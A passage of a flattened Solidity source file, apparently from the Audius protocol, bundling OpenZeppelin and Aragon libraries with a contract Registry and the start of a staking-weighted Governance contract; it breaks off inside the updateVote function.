require(!has(role, account), "Roles: account already has role");
role.bearer[account] = true;
}
/**
* @dev Remove an account's access to this role.
*/
function remove(Role storage role, address account) internal {
require(has(role, account), "Roles: account does not have role");
role.bearer[account] = false;
}
/**
* @dev Check if an account has this role.
* @return bool
*/
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0), "Roles: account is the zero address");
return role.bearer[account];
}
}
// File: @openzeppelin/contracts-ethereum-package/contracts/access/roles/MinterRole.sol
pragma solidity ^0.5.0;
contract MinterRole is Initializable, Context {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private _minters;
function initialize(address sender) public initializer {
if (!isMinter(sender)) {
_addMinter(sender);
}
}
modifier onlyMinter() {
require(isMinter(_msgSender()), "MinterRole: caller does not have the Minter role");
_;
}
function isMinter(address account) public view returns (bool) {
return _minters.has(account);
}
function addMinter(address account) public onlyMinter {
_addMinter(account);
}
function renounceMinter() public {
_removeMinter(_msgSender());
}
function _addMinter(address account) internal {
_minters.add(account);
emit MinterAdded(account);
}
function _removeMinter(address account) internal {
_minters.remove(account);
emit MinterRemoved(account);
}
uint256[50] private ______gap;
}
// File: @openzeppelin/contracts-ethereum-package/contracts/token/ERC20/ERC20Mintable.sol
pragma solidity ^0.5.0;
/**
* @dev Extension of {ERC20} that adds a set of accounts with the {MinterRole},
* which have permission to mint (create) new tokens as they see fit.
*
* At construction, the deployer of the contract is the only minter.
*/
contract ERC20Mintable is Initializable, ERC20, MinterRole {
function initialize(address sender) public initializer {
MinterRole.initialize(sender);
}
/**
* @dev See {ERC20-_mint}.
*
* Requirements:
*
* - the caller must have the {MinterRole}.
*/
function mint(address account, uint256 amount) public onlyMinter returns (bool) {
_mint(account, amount);
return true;
}
uint256[50] private ______gap;
}
// File: @openzeppelin/contracts-ethereum-package/contracts/utils/Address.sol
pragma solidity ^0.5.5;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Converts an `address` into `address payable`. Note that this is
* simply a type cast: the actual underlying value is not changed.
*
* _Available since v2.4.0._
*/
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*
* _Available since v2.4.0._
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
// File: @openzeppelin/contracts-ethereum-package/contracts/token/ERC20/SafeERC20.sol
pragma solidity ^0.5.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: @openzeppelin/contracts-ethereum-package/contracts/token/ERC20/ERC20Burnable.sol
pragma solidity ^0.5.0;
/**
* @dev Extension of {ERC20} that allows token holders to destroy both their own
* tokens and those that they have an allowance for, in a way that can be
* recognized off-chain (via event analysis).
*/
contract ERC20Burnable is Initializable, Context, ERC20 {
/**
* @dev Destroys `amount` tokens from the caller.
*
* See {ERC20-_burn}.
*/
function burn(uint256 amount) public {
_burn(_msgSender(), amount);
}
/**
* @dev See {ERC20-_burnFrom}.
*/
function burnFrom(address account, uint256 amount) public {
_burnFrom(account, amount);
}
uint256[50] private ______gap;
}
// File: @aragon/court/contracts/lib/Checkpointing.sol
pragma solidity ^0.5.8;
/**
* @title Checkpointing - Library to handle a historic set of numeric values
*/
library Checkpointing {
uint256 private constant MAX_UINT192 = uint256(uint192(-1));
string private constant ERROR_VALUE_TOO_BIG = "CHECKPOINT_VALUE_TOO_BIG";
string private constant ERROR_CANNOT_ADD_PAST_VALUE = "CHECKPOINT_CANNOT_ADD_PAST_VALUE";
/**
* @dev To specify a value at a given point in time, we need to store two values:
* - `time`: unit-time value to denote the first time when a value was registered
* - `value`: a positive numeric value to registered at a given point in time
*
* Note that `time` does not need to refer necessarily to a timestamp value, any time unit could be used
* for it like block numbers, terms, etc.
*/
struct Checkpoint {
uint64 time;
uint192 value;
}
/**
* @dev A history simply denotes a list of checkpoints
*/
struct History {
Checkpoint[] history;
}
/**
* @dev Add a new value to a history for a given point in time. This function does not allow to add values previous
* to the latest registered value, if the value willing to add corresponds to the latest registered value, it
* will be updated.
* @param self Checkpoints history to be altered
* @param _time Point in time to register the given value
* @param _value Numeric value to be registered at the given point in time
*/
function add(History storage self, uint64 _time, uint256 _value) internal {
require(_value <= MAX_UINT192, ERROR_VALUE_TOO_BIG);
_add192(self, _time, uint192(_value));
}
/**
* @dev Fetch the latest registered value of history, it will return zero if there was no value registered
* @param self Checkpoints history to be queried
*/
function getLast(History storage self) internal view returns (uint256) {
uint256 length = self.history.length;
if (length > 0) {
return uint256(self.history[length - 1].value);
}
return 0;
}
/**
* @dev Fetch the most recent registered past value of a history based on a given point in time that is not known
* how recent it is beforehand. It will return zero if there is no registered value or if given time is
* previous to the first registered value.
* It uses a binary search.
* @param self Checkpoints history to be queried
* @param _time Point in time to query the most recent registered past value of
*/
function get(History storage self, uint64 _time) internal view returns (uint256) {
return _binarySearch(self, _time);
}
/**
* @dev Fetch the most recent registered past value of a history based on a given point in time. It will return zero
* if there is no registered value or if given time is previous to the first registered value.
* It uses a linear search starting from the end.
* @param self Checkpoints history to be queried
* @param _time Point in time to query the most recent registered past value of
*/
function getRecent(History storage self, uint64 _time) internal view returns (uint256) {
return _backwardsLinearSearch(self, _time);
}
/**
* @dev Private function to add a new value to a history for a given point in time. This function does not allow to
* add values previous to the latest registered value, if the value willing to add corresponds to the latest
* registered value, it will be updated.
* @param self Checkpoints history to be altered
* @param _time Point in time to register the given value
* @param _value Numeric value to be registered at the given point in time
*/
function _add192(History storage self, uint64 _time, uint192 _value) private {
uint256 length = self.history.length;
if (length == 0 || self.history[self.history.length - 1].time < _time) {
// If there was no value registered or the given point in time is after the latest registered value,
// we can insert it to the history directly.
self.history.push(Checkpoint(_time, _value));
} else {
// If the point in time given for the new value is not after the latest registered value, we must ensure
// we are only trying to update the latest value, otherwise we would be changing past data.
Checkpoint storage currentCheckpoint = self.history[length - 1];
require(_time == currentCheckpoint.time, ERROR_CANNOT_ADD_PAST_VALUE);
currentCheckpoint.value = _value;
}
}
/**
* @dev Private function to execute a backwards linear search to find the most recent registered past value of a
* history based on a given point in time. It will return zero if there is no registered value or if given time
* is previous to the first registered value. Note that this function will be more suitable when we already know
* that the time used to index the search is recent in the given history.
* @param self Checkpoints history to be queried
* @param _time Point in time to query the most recent registered past value of
*/
function _backwardsLinearSearch(History storage self, uint64 _time) private view returns (uint256) {
// If there was no value registered for the given history return simply zero
uint256 length = self.history.length;
if (length == 0) {
return 0;
}
uint256 index = length - 1;
Checkpoint storage checkpoint = self.history[index];
while (index > 0 && checkpoint.time > _time) {
index--;
checkpoint = self.history[index];
}
return checkpoint.time > _time ? 0 : uint256(checkpoint.value);
}
/**
* @dev Private function execute a binary search to find the most recent registered past value of a history based on
* a given point in time. It will return zero if there is no registered value or if given time is previous to
* the first registered value. Note that this function will be more suitable when don't know how recent the
* time used to index may be.
* @param self Checkpoints history to be queried
* @param _time Point in time to query the most recent registered past value of
*/
function _binarySearch(History storage self, uint64 _time) private view returns (uint256) {
// If there was no value registered for the given history return simply zero
uint256 length = self.history.length;
if (length == 0) {
return 0;
}
// If the requested time is equal to or after the time of the latest registered value, return latest value
uint256 lastIndex = length - 1;
if (_time >= self.history[lastIndex].time) {
return uint256(self.history[lastIndex].value);
}
// If the requested time is previous to the first registered value, return zero to denote missing checkpoint
if (_time < self.history[0].time) {
return 0;
}
// Execute a binary search between the checkpointed times of the history
uint256 low = 0;
uint256 high = lastIndex;
while (high > low) {
// No need for SafeMath: for this to overflow array size should be ~2^255
uint256 mid = (high + low + 1) / 2;
Checkpoint storage checkpoint = self.history[mid];
uint64 midTime = checkpoint.time;
if (_time > midTime) {
low = mid;
} else if (_time < midTime) {
// No need for SafeMath: high > low >= 0 => high >= 1 => mid >= 1
high = mid - 1;
} else {
return uint256(checkpoint.value);
}
}
return uint256(self.history[low].value);
}
}
// File: @aragon/court/contracts/lib/os/Uint256Helpers.sol
// Brought from https://github.com/aragon/aragonOS/blob/v4.3.0/contracts/common/Uint256Helpers.sol
// Adapted to use pragma ^0.5.8 and satisfy our linter rules
pragma solidity ^0.5.8;
library Uint256Helpers {
uint256 private constant MAX_UINT8 = uint8(-1);
uint256 private constant MAX_UINT64 = uint64(-1);
string private constant ERROR_UINT8_NUMBER_TOO_BIG = "UINT8_NUMBER_TOO_BIG";
string private constant ERROR_UINT64_NUMBER_TOO_BIG = "UINT64_NUMBER_TOO_BIG";
function toUint8(uint256 a) internal pure returns (uint8) {
require(a <= MAX_UINT8, ERROR_UINT8_NUMBER_TOO_BIG);
return uint8(a);
}
function toUint64(uint256 a) internal pure returns (uint64) {
require(a <= MAX_UINT64, ERROR_UINT64_NUMBER_TOO_BIG);
return uint64(a);
}
}
// File: contracts/InitializableV2.sol
pragma solidity >=0.4.24 <0.7.0;
/**
* Wrapper around OpenZeppelin's Initializable contract.
* Exposes initialized state management to ensure logic contract functions cannot be called before initialization.
* This is needed because OZ's Initializable contract no longer exposes initialized state variable.
* https://github.com/OpenZeppelin/openzeppelin-sdk/blob/v2.8.0/packages/lib/contracts/Initializable.sol
*/
contract InitializableV2 is Initializable {
bool private isInitialized;
string private constant ERROR_NOT_INITIALIZED = "InitializableV2: Not initialized";
/**
* @notice wrapper function around parent contract Initializable's `initializable` modifier
* initializable modifier ensures this function can only be called once by each deployed child contract
* sets isInitialized flag to true to which is used by _requireIsInitialized()
*/
function initialize() public initializer {
isInitialized = true;
}
/**
* @notice Reverts transaction if isInitialized is false. Used by child contracts to ensure
* contract is initialized before functions can be called.
*/
function _requireIsInitialized() internal view {
require(isInitialized == true, ERROR_NOT_INITIALIZED);
}
/**
* @notice Exposes isInitialized bool var to child contracts with read-only access
*/
function _isInitialized() internal view returns (bool) {
return isInitialized;
}
}
// File: @openzeppelin/contracts-ethereum-package/contracts/ownership/Ownable.sol
pragma solidity ^0.5.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be aplied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Initializable, Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
function initialize(address sender) public initializer {
_owner = sender;
emit OwnershipTransferred(address(0), _owner);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* > Note: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
uint256[50] private ______gap;
}
// File: contracts/registry/Registry.sol
pragma solidity ^0.5.0;
/**
* @title Central hub for Audius protocol. It stores all contract addresses to facilitate
* external access and enable version management.
*/
contract Registry is InitializableV2, Ownable {
using SafeMath for uint256;
/**
* @dev addressStorage mapping allows efficient lookup of current contract version
* addressStorageHistory maintains record of all contract versions
*/
mapping(bytes32 => address) private addressStorage;
mapping(bytes32 => address[]) private addressStorageHistory;
event ContractAdded(
bytes32 indexed _name,
address indexed _address
);
event ContractRemoved(
bytes32 indexed _name,
address indexed _address
);
event ContractUpgraded(
bytes32 indexed _name,
address indexed _oldAddress,
address indexed _newAddress
);
function initialize() public initializer {
/// @notice Ownable.initialize(address _sender) sets contract owner to _sender.
Ownable.initialize(msg.sender);
InitializableV2.initialize();
}
// ========================================= Setters =========================================
/**
* @notice addContract registers contract name to address mapping under given registry key
* @param _name - registry key that will be used for lookups
* @param _address - address of contract
*/
function addContract(bytes32 _name, address _address) external onlyOwner {
_requireIsInitialized();
require(
addressStorage[_name] == address(0x00),
"Registry: Contract already registered with given name."
);
require(
_address != address(0x00),
"Registry: Cannot register zero address."
);
setAddress(_name, _address);
emit ContractAdded(_name, _address);
}
/**
* @notice removes contract address registered under given registry key
* @param _name - registry key for lookup
*/
function removeContract(bytes32 _name) external onlyOwner {
_requireIsInitialized();
address contractAddress = addressStorage[_name];
require(
contractAddress != address(0x00),
"Registry: Cannot remove - no contract registered with given _name."
);
setAddress(_name, address(0x00));
emit ContractRemoved(_name, contractAddress);
}
/**
* @notice replaces contract address registered under given key with provided address
* @param _name - registry key for lookup
* @param _newAddress - new contract address to register under given key
*/
function upgradeContract(bytes32 _name, address _newAddress) external onlyOwner {
_requireIsInitialized();
address oldAddress = addressStorage[_name];
require(
oldAddress != address(0x00),
"Registry: Cannot upgrade - no contract registered with given _name."
);
require(
_newAddress != address(0x00),
"Registry: Cannot upgrade - cannot register zero address."
);
setAddress(_name, _newAddress);
emit ContractUpgraded(_name, oldAddress, _newAddress);
}
// ========================================= Getters =========================================
/**
* @notice returns contract address registered under given registry key
* @param _name - registry key for lookup
* @return contractAddr - address of contract registered under given registry key
*/
function getContract(bytes32 _name) external view returns (address contractAddr) {
_requireIsInitialized();
return addressStorage[_name];
}
/// @notice overloaded getContract to return explicit version of contract
function getContract(bytes32 _name, uint256 _version) external view
returns (address contractAddr)
{
_requireIsInitialized();
// array length for key implies version number
require(
_version <= addressStorageHistory[_name].length,
"Registry: Index out of range _version."
);
return addressStorageHistory[_name][_version.sub(1)];
}
/**
* @notice Returns the number of versions for a contract key
* @param _name - registry key for lookup
* @return number of contract versions
*/
function getContractVersionCount(bytes32 _name) external view returns (uint256) {
_requireIsInitialized();
return addressStorageHistory[_name].length;
}
// ========================================= Private functions =========================================
/**
* @param _key the key for the contract address
* @param _value the contract address
*/
function setAddress(bytes32 _key, address _value) private {
// main map for cheap lookup
addressStorage[_key] = _value;
// keep track of contract address history
addressStorageHistory[_key].push(_value);
}
}
// File: contracts/Governance.sol
pragma solidity ^0.5.0;
contract Governance is InitializableV2 {
using SafeMath for uint256;
string private constant ERROR_ONLY_GOVERNANCE = (
"Governance: Only callable by self"
);
string private constant ERROR_INVALID_VOTING_PERIOD = (
"Governance: Requires non-zero _votingPeriod"
);
string private constant ERROR_INVALID_REGISTRY = (
"Governance: Requires non-zero _registryAddress"
);
string private constant ERROR_INVALID_VOTING_QUORUM = (
"Governance: Requires _votingQuorumPercent between 1 & 100"
);
/**
* @notice Address and contract instance of Audius Registry. Used to ensure this contract
* can only govern contracts that are registered in the Audius Registry.
*/
Registry private registry;
/// @notice Address of Audius staking contract, used to permission Governance method calls
address private stakingAddress;
/// @notice Address of Audius ServiceProvider contract, used to permission Governance method calls
address private serviceProviderFactoryAddress;
/// @notice Address of Audius DelegateManager contract, used to permission Governance method calls
address private delegateManagerAddress;
/// @notice Period in blocks for which a governance proposal is open for voting
uint256 private votingPeriod;
/// @notice Number of blocks that must pass after votingPeriod has expired before proposal can be evaluated/executed
uint256 private executionDelay;
/// @notice Required minimum percentage of total stake to have voted to consider a proposal valid
/// Percentaged stored as a uint256 between 0 & 100
/// Calculated as: 100 * sum of voter stakes / total staked in Staking (at proposal submission block)
uint256 private votingQuorumPercent;
/// @notice Max number of InProgress proposals possible at once
/// @dev uint16 gives max possible value of 65,535
uint16 private maxInProgressProposals;
/**
* @notice Address of account that has special Governance permissions. Can veto proposals
* and execute transactions directly on contracts.
*/
address private guardianAddress;
/***** Enums *****/
/**
* @notice All Proposal Outcome states.
* InProgress - Proposal is active and can be voted on.
* Rejected - Proposal votingPeriod has closed and vote failed to pass. Proposal will not be executed.
* ApprovedExecuted - Proposal votingPeriod has closed and vote passed. Proposal was successfully executed.
* QuorumNotMet - Proposal votingPeriod has closed and votingQuorumPercent was not met. Proposal will not be executed.
* ApprovedExecutionFailed - Proposal vote passed, but transaction execution failed.
* Evaluating - Proposal vote passed, and evaluateProposalOutcome function is currently running.
* This status is transiently used inside that function to prevent re-entrancy.
* Vetoed - Proposal was vetoed by Guardian.
* TargetContractAddressChanged - Proposal considered invalid since target contract address changed
* TargetContractCodeHashChanged - Proposal considered invalid since code has at target contract address has changed
*/
enum Outcome {
InProgress,
Rejected,
ApprovedExecuted,
QuorumNotMet,
ApprovedExecutionFailed,
Evaluating,
Vetoed,
TargetContractAddressChanged,
TargetContractCodeHashChanged
}
/**
* @notice All Proposal Vote states for a voter.
* None - The default state, for any account that has not previously voted on this Proposal.
* No - The account voted No on this Proposal.
* Yes - The account voted Yes on this Proposal.
* @dev Enum values map to uints, so first value in Enum always is 0.
*/
enum Vote {None, No, Yes}
struct Proposal {
uint256 proposalId;
address proposer;
uint256 submissionBlockNumber;
bytes32 targetContractRegistryKey;
address targetContractAddress;
uint256 callValue;
string functionSignature;
bytes callData;
Outcome outcome;
uint256 voteMagnitudeYes;
uint256 voteMagnitudeNo;
uint256 numVotes;
mapping(address => Vote) votes;
mapping(address => uint256) voteMagnitudes;
bytes32 contractHash;
}
/***** Proposal storage *****/
/// @notice ID of most recently created proposal. Ids are monotonically increasing and 1-indexed.
uint256 lastProposalId = 0;
/// @notice mapping of proposalId to Proposal struct with all proposal state
mapping(uint256 => Proposal) proposals;
/// @notice array of proposals with InProgress state
uint256[] inProgressProposals;
/***** Events *****/
event ProposalSubmitted(
uint256 indexed _proposalId,
address indexed _proposer,
string _name,
string _description
);
event ProposalVoteSubmitted(
uint256 indexed _proposalId,
address indexed _voter,
Vote indexed _vote,
uint256 _voterStake
);
event ProposalVoteUpdated(
uint256 indexed _proposalId,
address indexed _voter,
Vote indexed _vote,
uint256 _voterStake,
Vote _previousVote
);
event ProposalOutcomeEvaluated(
uint256 indexed _proposalId,
Outcome indexed _outcome,
uint256 _voteMagnitudeYes,
uint256 _voteMagnitudeNo,
uint256 _numVotes
);
event ProposalTransactionExecuted(
uint256 indexed _proposalId,
bool indexed _success,
bytes _returnData
);
event GuardianTransactionExecuted(
address indexed _targetContractAddress,
uint256 _callValue,
string indexed _functionSignature,
bytes indexed _callData,
bytes _returnData
);
event ProposalVetoed(uint256 indexed _proposalId);
event RegistryAddressUpdated(address indexed _newRegistryAddress);
event GuardianshipTransferred(address indexed _newGuardianAddress);
event VotingPeriodUpdated(uint256 indexed _newVotingPeriod);
event ExecutionDelayUpdated(uint256 indexed _newExecutionDelay);
event VotingQuorumPercentUpdated(uint256 indexed _newVotingQuorumPercent);
event MaxInProgressProposalsUpdated(uint256 indexed _newMaxInProgressProposals);
/**
* @notice Initialize the Governance contract
* @dev _votingPeriod <= DelegateManager.undelegateLockupDuration
* @dev stakingAddress must be initialized separately after Staking contract is deployed
* @param _registryAddress - address of the registry proxy contract
* @param _votingPeriod - period in blocks for which a governance proposal is open for voting
* @param _executionDelay - number of blocks that must pass after votingPeriod has expired before proposal can be evaluated/executed
* @param _votingQuorumPercent - required minimum percentage of total stake to have voted to consider a proposal valid
* @param _maxInProgressProposals - max number of InProgress proposals possible at once
* @param _guardianAddress - address of account that has special Governance permissions
*/
function initialize(
address _registryAddress,
uint256 _votingPeriod,
uint256 _executionDelay,
uint256 _votingQuorumPercent,
uint16 _maxInProgressProposals,
address _guardianAddress
) public initializer {
require(_registryAddress != address(0x00), ERROR_INVALID_REGISTRY);
registry = Registry(_registryAddress);
require(_votingPeriod > 0, ERROR_INVALID_VOTING_PERIOD);
votingPeriod = _votingPeriod;
// executionDelay does not have to be non-zero
executionDelay = _executionDelay;
require(
_maxInProgressProposals > 0,
"Governance: Requires non-zero _maxInProgressProposals"
);
maxInProgressProposals = _maxInProgressProposals;
require(
_votingQuorumPercent > 0 && _votingQuorumPercent <= 100,
ERROR_INVALID_VOTING_QUORUM
);
votingQuorumPercent = _votingQuorumPercent;
require(
_guardianAddress != address(0x00),
"Governance: Requires non-zero _guardianAddress"
);
guardianAddress = _guardianAddress; //Guardian address becomes the only party
InitializableV2.initialize();
}
// ========================================= Governance Actions =========================================
/**
* @notice Submit a proposal for vote. Only callable by addresses with non-zero total active stake.
* total active stake = total active deployer stake + total active delegator stake
*
* @dev _name and _description length is not enforced since they aren't stored on-chain and only event emitted
*
* @param _targetContractRegistryKey - Registry key for the contract concerning this proposal
* @param _callValue - amount of wei to pass with function call if a token transfer is involved
* @param _functionSignature - function signature of the function to be executed if proposal is successful
* @param _callData - encoded value(s) to call function with if proposal is successful
* @param _name - Text name of proposal to be emitted in event
* @param _description - Text description of proposal to be emitted in event
*
* @return - ID of new proposal
*/
function submitProposal(
bytes32 _targetContractRegistryKey,
uint256 _callValue,
string calldata _functionSignature,
bytes calldata _callData,
string calldata _name,
string calldata _description
) external returns (uint256)
{
_requireIsInitialized();
_requireStakingAddressIsSet();
_requireServiceProviderFactoryAddressIsSet();
_requireDelegateManagerAddressIsSet();
address proposer = msg.sender;
// Require all InProgress proposals that can be evaluated have been evaluated before new proposal submission
require(
this.inProgressProposalsAreUpToDate(),
"Governance: Cannot submit new proposal until all evaluatable InProgress proposals are evaluated."
);
// Require new proposal submission would not push number of InProgress proposals over max number
require(
inProgressProposals.length < maxInProgressProposals,
"Governance: Number of InProgress proposals already at max. Please evaluate if possible, or wait for current proposals' votingPeriods to expire."
);
// Require proposer has non-zero total active stake or is guardian address
require(
_calculateAddressActiveStake(proposer) > 0 || proposer == guardianAddress,
"Governance: Proposer must be address with non-zero total active stake or be guardianAddress."
);
// Require _targetContractRegistryKey points to a valid registered contract
address targetContractAddress = registry.getContract(_targetContractRegistryKey);
require(
targetContractAddress != address(0x00),
"Governance: _targetContractRegistryKey must point to valid registered contract"
);
// Signature cannot be empty
require(
bytes(_functionSignature).length != 0,
"Governance: _functionSignature cannot be empty."
);
// Require non-zero description length
require(bytes(_description).length > 0, "Governance: _description length must be > 0");
// Require non-zero name length
require(bytes(_name).length > 0, "Governance: _name length must be > 0");
// set proposalId
uint256 newProposalId = lastProposalId.add(1);
// Store new Proposal obj in proposals mapping
proposals[newProposalId] = Proposal({
proposalId: newProposalId,
proposer: proposer,
submissionBlockNumber: block.number,
targetContractRegistryKey: _targetContractRegistryKey,
targetContractAddress: targetContractAddress,
callValue: _callValue,
functionSignature: _functionSignature,
callData: _callData,
outcome: Outcome.InProgress,
voteMagnitudeYes: 0,
voteMagnitudeNo: 0,
numVotes: 0,
contractHash: _getCodeHash(targetContractAddress)
/* votes: mappings are auto-initialized to default state */
/* voteMagnitudes: mappings are auto-initialized to default state */
});
// Append new proposalId to inProgressProposals array
inProgressProposals.push(newProposalId);
emit ProposalSubmitted(
newProposalId,
proposer,
_name,
_description
);
lastProposalId = newProposalId;
return newProposalId;
}
/**
* @notice Vote on an active Proposal. Only callable by addresses with non-zero active stake.
* @param _proposalId - id of the proposal this vote is for
* @param _vote - can be either {Yes, No} from Vote enum. No other values allowed
*/
function submitVote(uint256 _proposalId, Vote _vote) external {
_requireIsInitialized();
_requireStakingAddressIsSet();
_requireServiceProviderFactoryAddressIsSet();
_requireDelegateManagerAddressIsSet();
_requireValidProposalId(_proposalId);
address voter = msg.sender;
// Require proposal votingPeriod is still active
uint256 submissionBlockNumber = proposals[_proposalId].submissionBlockNumber;
uint256 endBlockNumber = submissionBlockNumber.add(votingPeriod);
require(
block.number > submissionBlockNumber && block.number <= endBlockNumber,
"Governance: Proposal votingPeriod has ended"
);
// Require voter has non-zero total active stake
uint256 voterActiveStake = _calculateAddressActiveStake(voter);
require(
voterActiveStake > 0,
"Governance: Voter must be address with non-zero total active stake."
);
// Require previous vote is None
require(
proposals[_proposalId].votes[voter] == Vote.None,
"Governance: To update previous vote, call updateVote()"
);
// Require vote is either Yes or No
require(
_vote == Vote.Yes || _vote == Vote.No,
"Governance: Can only submit a Yes or No vote"
);
// Record vote
proposals[_proposalId].votes[voter] = _vote;
// Record voteMagnitude for voter
proposals[_proposalId].voteMagnitudes[voter] = voterActiveStake;
// Update proposal cumulative vote magnitudes
if (_vote == Vote.Yes) {
_increaseVoteMagnitudeYes(_proposalId, voterActiveStake);
} else {
_increaseVoteMagnitudeNo(_proposalId, voterActiveStake);
}
// Increment proposal numVotes
proposals[_proposalId].numVotes = proposals[_proposalId].numVotes.add(1);
emit ProposalVoteSubmitted(
_proposalId,
voter,
_vote,
voterActiveStake
);
}
/**
* @notice Update previous vote on an active Proposal. Only callable by addresses with non-zero active stake.
* @param _proposalId - id of the proposal this vote is for
* @param _vote - can be either {Yes, No} from Vote enum. No other values allowed
*/
function updateVote(uint256 _proposalId, Vote _vote) external {
_requireIsInitialized();
_requireStakingAddressIsSet();
_requireServiceProviderFactoryAddressIsSet();
_requireDelegateManagerAddressIsSet();
_requireValidProposalId(_proposalId);
address voter = msg.sender;
// Require proposal votingPeriod is still active
uint256 submissionBlockNumber = proposals[_proposalId].submissionBlockNumber;
uint256 endBlockNumber = submissionBlockNumber.add(votingPeriod);
require(
block.number > submissionBlockNumber && block.number <= endBlockNumber,
"Governance: Proposal votingPeriod has ended"
);
// Retrieve previous vote
Vote previousVote = proposals[_proposalId].votes[voter];
// Require previous vote is not None
require(
previousVote != Vote.None,
"Governance: To submit new vote, call submitVote()"
);
// Require vote is either Yes or No
require(
_vote == Vote.Yes || _vote == Vote.No,
"Governance: Can only submit a Yes or No vote"
);
// Record updated vote
proposals[_proposalId].votes[voter] = _vote;
// Update vote magnitudes, using vote magnitude from when previous vote was submitted
